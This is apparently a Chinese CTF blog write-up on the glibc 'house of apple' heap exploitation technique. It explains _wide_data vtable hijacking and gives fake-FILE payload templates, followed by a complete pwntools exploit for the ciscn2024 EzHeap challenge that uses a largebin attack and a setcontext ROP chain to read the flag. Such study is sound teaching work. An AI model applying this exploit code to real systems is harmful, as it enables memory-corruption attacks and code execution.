house_of_apple

前言

打ciscn的时候突然被gitee恶心到了,之前发的博客(一些笔记)都没了,导致做高版本堆题的时候找不到自己之前存的模板,人傻了,然后听其他师傅的打了house of apple,其实之前有学过,可能是太久没碰过了导致忘记了,本文重新记录一下apple的打法和大致原理

利用条件

1.泄露出堆地址以及libc地址

2.能控制程序执行io操作,包括但不限于:从main函数返回、调用exit函数、通过_malloc_assert触发

3.能控制_IO_FILE的vtable和_wide_data,一般用largebin attack

利用原理

stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable,而当需要调用到vtable里面的函数指针时,会使用宏去调用。以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下

1
2
3
4
5
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

其中,IO_validate_vtable函数负责检查vtable的合法性,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。

观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:

1
2
3
4
5
6
7
8
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

因此,我们可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

链路分析

触发的方式和apple1是一样的 可以通过显示调用的exit 或者是从main函数返回的隐式exit 或者是malloc_assert输出报错信息

下面是通过exit触发的链

exit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_OVERFLOW

主要的思想就是劫持IO_list_all为堆地址 从而我们可以伪造io结构体

这里主要注意的就是两个成员 一个是_wide_data 一个是vtable

我们先说vtable 这里的思路是将其伪造为_IO_wfile_jumps

这样触发io时会调用到_IO_wfile_overflow 来看一下这个函数主要的内容

image-20240520161714872

其内部调用了wdoallocbuf函数 这个函数存在一个任意函数调用的点

image-20240520161825922

其索引是通过rax寄存器来的

而此时的rax值 就是fakeio的0xa0偏移处的wide_data成员

image-20230716161559230

其wide_data处要求是一个结构体指针 wdoallocbuf函数会调用该指针的vtable的overflow函数

如果我们将其控制为setcontext 就可以实现一段rop 哪怕是开启了沙盒 也是适用的

伪造分析

关键的伪造点就那几个

1.先要把_IO_list_all利用largebin attack先覆盖成可控地址 用来伪造结构体 下面称fakeio1

2.控制fakeio1的vtable为_IO_wfile_jumps 从而调用到 _IO_wfile_overflow

3.控制fakeio1的_wide_date为fakeio2

4.控制fakeio2的vtable为fakeio3

5.控制fakeio3的偏移0x68处为setcontext

需要注意的就是最后的rop链存放的位置不能影响到fakeio的其他成员 导致程序执行流无法顺利执行

还有就是之所以 不直接更改_wide_data->vtable->0x68为system函数 然后设置fakeio首地址处为/bin/sh 这样破坏了flag成员 无法让程序执行流按预期的执行

剩下的就参考下面的模板吧

1
2
3
4
5
6
7
8
9
fakeio1


IO_wfile_jumps = libc_addr + 0x2160c0
fake_file = b''
fake_file = fake_file.ljust(0x20,b'\x00')+p64(0)+p64(1)
fake_file = fake_file.ljust(0xa0,b'\x00')+p64(chunk5_addr)
fake_file = fake_file.ljust(0xd8,b'\x00')+p64(IO_wfile_jumps)
payload = cyclic(0x10)+fake_file
1
2
3
4
5
6
7
fakeio2


payload = b''
payload = payload.ljust(0x58,b'\x00')+p64(setcontext)
payload = payload.ljust(0x90,b'\x00')+p64(chunk5_addr+0xf0)+p64(ret_addr)
payload = payload.ljust(0xd0,b'\x00')+p64(chunk5_addr)+p64(0)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)

例题:ciscn2024-EzHeap

一道常规的堆题,开了沙箱

image-20240520163411114

image-20240520163724047

漏洞点在edit,有明显的堆溢出image-20240520163753696

先构造出largebin,然后泄露出libc地址和堆地址,然后就是套上面的板子打apple就行了(但是好像直接打orw打不通,用syscall就行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
from ctypes import *
from struct import pack
banary = "./EzHeap"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

def cmd(choice):
ru("choice >> ")
sl(str(choice))

def add(size,content):
cmd(1)
ru("size:")
sl(str(size))
ru("content:")
s(content)

def delete(index):
cmd(2)
ru("idx:")
sl(str(index))

def edit(index,content):
size=len(content)
cmd(3)
ru("idx:")
sl(str(index))
ru("size:")
sl(str(size))
ru("content:")
s(content)

def show(index):
cmd(4)
ru("idx:")
sl(str(index))

add(0x200,b'/bin/sh\x00')#0
add(0x468,b'youlin')#1
add(0x228,b'youlin')#2
add(0x430,b'youlin')#3

delete(1)
add(0x470,b'sbgitee0')#1
edit(0,b'A'*0x200+b'B'*0x10)#p64(0)+p64(0x471)
show(0)
fd=uu64()
libcbase=fd-0x21b0e0
lg("fd")
lg("libcbase")
_IO_list_all = libcbase + libc.sym['_IO_list_all']
lg("_IO_list_all")

edit(0,b'A'*0x200+b'A'*0x10+b'B'*0x10)
show(0)
ru("B"*0x10)
heapbase=uheap()-0x2510
lg("heapbase")

edit(0,b'A'*0x200+p64(0)+p64(0x471)+p64(fd)*2+p64(heapbase+0x2510)+p64(_IO_list_all-0x20))
delete(3)
add(0x480,b'sbgitee')#3

fake_heap=heapbase+0x2990+0x10
lg("fake_heap")
IO_wfile_jumps = libcbase + 0x2170c0
fake_file = b''
fake_file = fake_file.ljust(0x20,b'\x00')+p64(0)+p64(1)
fake_file = fake_file.ljust(0xa0,b'\x00')+p64(fake_heap)
fake_file = fake_file.ljust(0xd8,b'\x00')+p64(IO_wfile_jumps)
payload = cyclic(0x10)+fake_file
edit(2,cyclic(0x210)+payload)

flag_addr = fake_heap-0x10
setcontext = libcbase + libc.sym['setcontext']+61
ret_addr = libcbase + 0x0000000000029139
rdi_addr = libcbase + 0x000000000002a3e5
rsi_addr = libcbase + 0x000000000002be51
rdx_r12_addr = libcbase + 0x000000000011f2e7
open_addr = libcbase + libc.sym['open']
rax_addr = libcbase + next(libc.search(asm("pop rax;ret")))
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
syscall_addr = read_addr+0x10
payload = b'flag\x00'
payload = payload.ljust(0x68,b'\x00')+p64(setcontext)
payload = payload.ljust(0xb0,b'\x00')+p64(fake_heap+0xf0)+p64(ret_addr)
payload = payload.ljust(0xd0,b'\x00')+p64(fake_heap)+p64(0)*3+p64(fake_heap-0x10)+p64(0)
payload += p64(rax_addr)+p64(2)+p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(syscall_addr)
payload += p64(rax_addr)+p64(0)+p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(fake_heap+0x4000)+p64(rdx_r12_addr)+p64(0x100)*2+p64(syscall_addr)
payload += p64(rax_addr)+p64(1)+p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(fake_heap+0x4000)+p64(rdx_r12_addr)+p64(0x100)*2+p64(syscall_addr)
edit(2,payload)
dbg()
cmd(5)
ia()

house_of_apple
http://blogyoulin.top/2024/05/20/house-of-apple/
Author
John Doe
Posted on
May 20, 2024
Licensed under